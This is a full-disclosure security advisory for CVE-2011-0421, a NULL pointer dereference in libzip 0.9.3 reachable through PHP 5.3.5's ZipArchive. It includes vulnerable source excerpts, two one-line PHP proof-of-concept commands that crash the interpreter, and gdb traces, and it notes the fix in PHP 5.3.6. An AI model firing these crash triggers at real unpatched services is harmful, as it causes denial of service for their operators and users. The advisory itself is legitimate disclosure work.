-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5) ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 03.01.2011
- - Pub.: 18.03.2011
CVE: CVE-2011-0421
CERT: VU#325039
Affected Software:
- - libzip 0.9.3
- - PHP 5.3.5 (fixed 5.3.6)
Original URL:
http://securityreason.com/achievement_securityalert/96
- --- 0.Description ---
libzip is a C library for reading, creating, and modifying zip archives.
Files can be added from data buffers, files, or compressed data copied
directly from other zip archives. Changes made without closing the
archive can be reverted. The API is documented by man pages.
- --- 1.Description ---
libzip allows remote and local attackers to Denial of Service (Null
Pointer Dereference) if ZIP_FL_UNCHANGED flag is set.
- -lib/zip_name_locate.c---
int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;
if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}
cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp;
n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=
CRASH HERE
- -lib/zip_name_locate.c---
for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash.
Currently for PHP, the security impact we estimate only like a remote
DoS, so risk is low.
Project using libzip: KDE Utilities (4.x branch), MySQL Workbench,
ckmame, fuse-zip, php zip extension, Endeavour2, FreeDink
Better analysis based on PHP code ZipArchive, bellow
- --- 2. PHP 5.3.5 ZipArchive() ---
PoC1:
php -r '$nx=new
ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCHANGED);'
PoC2:
php -r '$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHANGED);'
Let's
- -php_zip.c-------------------------------------
...
static ZIPARCHIVE_METHOD(locateName)
{
...
ZIP_FROM_OBJECT(intern, this);
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l",
&name, &name_len, &flags) == FAILURE) {
return;
}
...
idx = (long)zip_name_locate(intern, (const char *)name, flags); <===
CRASH IN THIS FUNCTION
...
- -php_zip.c-------------------------------------
and let`s see
- -zip_name_locate.c-------------------------------------
ZIP_EXTERN(int)
zip_name_locate(struct zip *za, const char *fname, int flags)
{
return _zip_name_locate(za, fname, flags, &za->error);
}
int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;
if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}
cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp;
n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <===
CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED
for (i=0; i<n; i++) {
...
- -zip_name_locate.c-------------------------------------
(gdb) bt
#0 0x00000000006407cc in _zip_name_locate (za=0x118d520,
fname=0x116ac70 "a", flags=32767,
error=0xffffffff00000000) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x00000000006381e6 in c_ziparchive_locateName (ht=2,
return_value=0x1169418, return_value_ptr=0xffffffff,
this_ptr=0x118d530, return_value_used=-176126592) at
/build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877
#2 0x00000000006e986a in zend_do_fcall_common_helper_SPEC
(execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
#3 0x00000000006c0b00 in execute (op_array=0x1168568) at
/build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107
...
Program received signal SIGSEGV, Segmentation fault.
0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x1169400
"9223372036854775808", flags=32767,
error=0xffffffff00000000) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry;
(gdb) print za->cdir->nentry
Cannot access memory at address 0x8
(gdb) print za->nentry
$21 = 0
because
(gdb) x/i $rip
=> 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax
(gdb) x/i $rax
0x0: Cannot access memory at address 0x0
(gdb) x/i $eax
call to zip_name_locate
(gdb) n
1877 idx = (long)zip_name_locate(intern, (const char *)name,
flags);
(gdb) print intern
$24 = (struct zip *) 0x118d580
(gdb) x/x intern
0x118d580: 0x0118d220
(gdb) x/40x intern
0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000
0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000
0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000
0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000
next PoC2
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("9223372036854775808","9223372036854775807");
rogram received signal SIGSEGV, Segmentation fault.
0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0
"9223372036854775808", flags=32767,
error=0xffffffffffffdac0) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c
(gdb) bt
#0 0x00000000006407cc in _zip_name_locate (za=0x118d520,
fname=0x11693f0 "9223372036854775808", flags=32767,
error=0xffffffffffffdac0) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x0000000000640a50 in zip_stat (za=0x118d520, fname=0x11693f0
"9223372036854775808", flags=-1,
st=0x7fffffffda70) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45
#2 0x0000000000638451 in c_ziparchive_statName (ht=2,
return_value=0x1169480, return_value_ptr=0xffffffff,
this_ptr=0x118d530, return_value_used=-176126592) at
/build/buildd/php5-5.3.3/ext/zip/php_zip.c:1818
#3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC
(execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
- --- 3. Fix ---
This issue has been fixed with PHP Team, so big thanks guys.
http://www.php.net/ChangeLog-5.php#5.3.6
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name_locate.c?annotate=307867
- --- 4. Greets ---
Special thanks for Pierre Joye and Stas
sp3x, Infospec,
- --- 5. Contact ---
Author: Maksymilian Arciemowicz
Email:
- - cxib {a\./t] securityreason [d=t} com
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://cxib.net/
- --
Best Regards
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max@xxxxxxxx>
sub 4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJNg2gwAAoJEIO8+dzW5bUwPU8QAJozekAc/qpIUI+7SZMcixgE
eQfnLDOAX30Rz5CARji9999H5kxX5/jusS1PWL+5FvHObOFvbMHZMR2FBXsfOJYj
bVUtlCMFudv+0TvYhNJZ6qOt2TcdWcRMo9+pDvwTk8//CpfwV8S7wfgL05FHOcEL
zbiveDyPhUu2pwHvA33gxeOphnhoVM7D4rN+eOadewkWuBI0FWNeRuWmgDCK0d6g
l7+8MDVdzhMDp9DUXom/KI713vfMnc3DSYo2FKWmlQUIV+Su13D6f0q7KDcAXJx4
VzgNIUurAL6y9TDOuPFiN4OSmzjaCKho/Tkhfj+7Fte4xeFVcf6Y25VxgJ1PgPBH
noenJhgQGu0MIuGF285/ulAQNZ4FLLlXwuHhLM+U0JtxlawJScJxPz/FJHE6p2NJ
sWfgY2uVQ4xU67lQPx7ANLZS2g5rriiPY7UJKM2J7nUFXtL6nRUl8744CZU+6wak
BIwoPCYnZR8kZCV4hLiXeU8/bAcylheWszh+W8C3q+BwIAJlIobH89YldEMh6MLJ
m6pOjNwb4ClqNjOLeZQhQu2iOmLGNBvM/WxNMaCft2wqHx4ZUSJ4hUh4rlCcDXqe
bvtersB+8abhT4pKX6rqnW0pgl8K0F2mwMveN12KOa15+Rx82sv7MqNJNTjDJmt/
txfJzXe+G9/heOPk/u3c
=R8jI
-----END PGP SIGNATURE-----
Attachment:
0xD6E5B530.asc
Description: application/pgp-keys
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/